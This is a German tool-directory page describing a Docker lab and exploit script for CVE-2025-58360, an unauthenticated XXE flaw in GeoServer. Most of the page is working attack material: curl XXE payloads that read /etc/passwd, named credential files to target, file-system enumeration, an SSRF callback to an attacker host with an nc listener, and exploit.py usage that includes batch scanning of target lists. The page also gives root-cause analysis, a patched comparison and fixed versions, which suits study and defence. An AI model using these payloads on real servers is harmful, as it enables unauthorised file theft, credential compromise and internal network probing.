Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-58360-GeoServer-XXE — Docker-basiertes Labor, das CVE-2025-58360 demonstriert, eine kritische unauthorisierte XXE-Injection in GeoServer WMS/OWS-Diensten. Enthält Exploit-Skript für Dateiauslesen, SSRF und Verzeichnisaufzählung. | Kitploit
Tools/GitHubGitHub/joker-wiggin/cve-2025-58360-geoserver-xxe
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungLabs & Praxis
GitHubjoker-wiggin/cve-2025-58360-geoserver-xxe

CVE-2025-58360-GeoServer-XXE

Docker-basiertes Labor, das CVE-2025-58360 demonstriert, eine kritische unauthorisierte XXE-Injection in GeoServer WMS/OWS-Diensten. Enthält Exploit-Skript für Dateiauslesen, SSRF und Verzeichnisaufzählung.

Repository anzeigen
3vor 9 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-58360: GeoServer XXE Labor

Nicht authentifizierte XML External Entity (XXE) Injection in GeoServer OWS/WMS-Dienste

CVSS: 9.8 KRITISCH
Betroffen: <= 2.25.5, 2.26.0-2.26.1
Behoben: 2.25.6+, 2.26.2+, 2.27.0+

Übersicht

Dieses Labor demonstriert CVE-2025-58360, eine kritische XXE-Schwachstelle in der Verarbeitung von WMS/OWS XML-Anfragen in GeoServer. Die Schwachstelle ermöglicht es nicht authentifizierten Angreifern:

  • Beliebige Dateien vom Server-Dateisystem zu lesen
  • Verzeichnisinhalte über den file://-Handler von Java aufzulisten
  • SSRF-Angriffe gegen interne Dienste durchzuführen
  • Anmeldedaten aus GeoServer-Konfigurationsdateien zu stehlen

Ursache

Die Methode SLDParser.parseSLD() von GeoServer verarbeitet XML-Styling-Dokumente ohne entsprechende Einschränkungen der Entitätsauflösung. Während der OWS-Dispatcher den AllowListEntityResolver verwendet, um XXE zu blockieren, umgeht der SLD-Parsing-Code-Pfad diesen Schutz:

root@kitploit:~
POST /geoserver/ows?service=WMS&request=GetMap
     |
     v
+-----------------------------+
|   OWS Dispatcher            | <-- EntityResolver configured
|   (Detects SLD in body)     |
+-----------------------------+
     |
     v
+-----------------------------+
|   SLDXmlRequestReader       |
|   -> SLDHandler.parse()     |
|   -> SLDParser.parseSLD()   | <-- NO EntityResolver!
+-----------------------------+
     |
     v
   XXE RESOLVED -> File/SSRF

Schnellstart

root@kitploit:~
# Start both vulnerable and patched instances
docker-compose up -d

# Vulnerable: http://localhost:8080/geoserver
# Patched:    http://localhost:8081/geoserver

# Wait ~60 seconds for startup

Standard-Anmeldedaten: admin / geoserver


Ausnutzung

Datei lesen

root@kitploit:~
curl -s -X POST \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE StyledLayerDescriptor [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<StyledLayerDescriptor version="1.0.0">
  <NamedLayer>
    <n>&xxe;</n>
  </NamedLayer>
</StyledLayerDescriptor>' \
  "http://localhost:8080/geoserver/ows?service=WMS&version=1.1.0&request=GetMap&width=100&height=100&format=image/png&bbox=-180,-90,180,90"

Verwundbare Antwort:

root@kitploit:~
<ServiceException>
  Unknown layer: root:x:0:0:root:/root:/bin/bash
  daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
  ...
</ServiceException>

Gepatchte Antwort:

root@kitploit:~
<ServiceException>
  Entity resolution disallowed for file:///etc/passwd
</ServiceException>

Hochwertige Ziele

root@kitploit:~
file:///opt/geoserver_data/security/usergroup/default/users.xml
file:///opt/geoserver_data/global.xml

Verzeichnisauflistung

Der file://-Handler von Java liest Verzeichnisse als zeilengetrennte Dateilisten:

root@kitploit:~
# List root directory
python3 exploit.py -u http://localhost:8080 --file /

# Enumerate geoserver data
python3 exploit.py -u http://localhost:8080 --file /opt/geoserver_data/
python3 exploit.py -u http://localhost:8080 --file /opt/geoserver_data/security/

Ausgabe:

root@kitploit:~
__cacert_entrypoint.sh
.dockerenv
bin
boot
dev
etc
home
...

Dies ermöglicht eine vollständige Dateisystem-Enumeration, bevor gezielt bestimmte Dateien angegriffen werden.

SSRF

root@kitploit:~
# Start listener
nc -lvnp 9999

# Send payload
curl -s -X POST \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE StyledLayerDescriptor [
  <!ENTITY xxe SYSTEM "http://YOUR_IP:9999/callback">
]>
<StyledLayerDescriptor version="1.0.0">
  <NamedLayer>
    <n>&xxe;</n>
  </NamedLayer>
</StyledLayerDescriptor>' \
  "http://localhost:8080/geoserver/ows?service=WMS&version=1.1.0&request=GetMap&width=100&height=100&format=image/png&bbox=-180,-90,180,90"

Verwendung des Exploit-Skripts

root@kitploit:~
# Version check
python3 exploit.py -u http://localhost:8080

# Safe probe (no data exfil)
python3 exploit.py -u http://localhost:8080 --probe

# File read
python3 exploit.py -u http://localhost:8080 --file /etc/passwd

# SSRF
python3 exploit.py -u http://localhost:8080 --ssrf http://attacker:9999/callback

# Verbose mode
python3 exploit.py -u http://localhost:8080 --file /etc/passwd -v

# Batch scan
python3 exploit.py --list targets.txt --output vulnerable.txt

Labor-Inhalt

root@kitploit:~
geoserver-xxe-lab/
├── README.md
├── docker-compose.yml
└── exploit.py

Abhilfe

Aktualisieren Sie auf GeoServer 2.25.6+, 2.26.2+ oder 2.27.0+


Haftungsausschluss

Nur für autorisierte Sicherheitstests und Bildungszwecke.


El Perro Joke

Tool herunterladen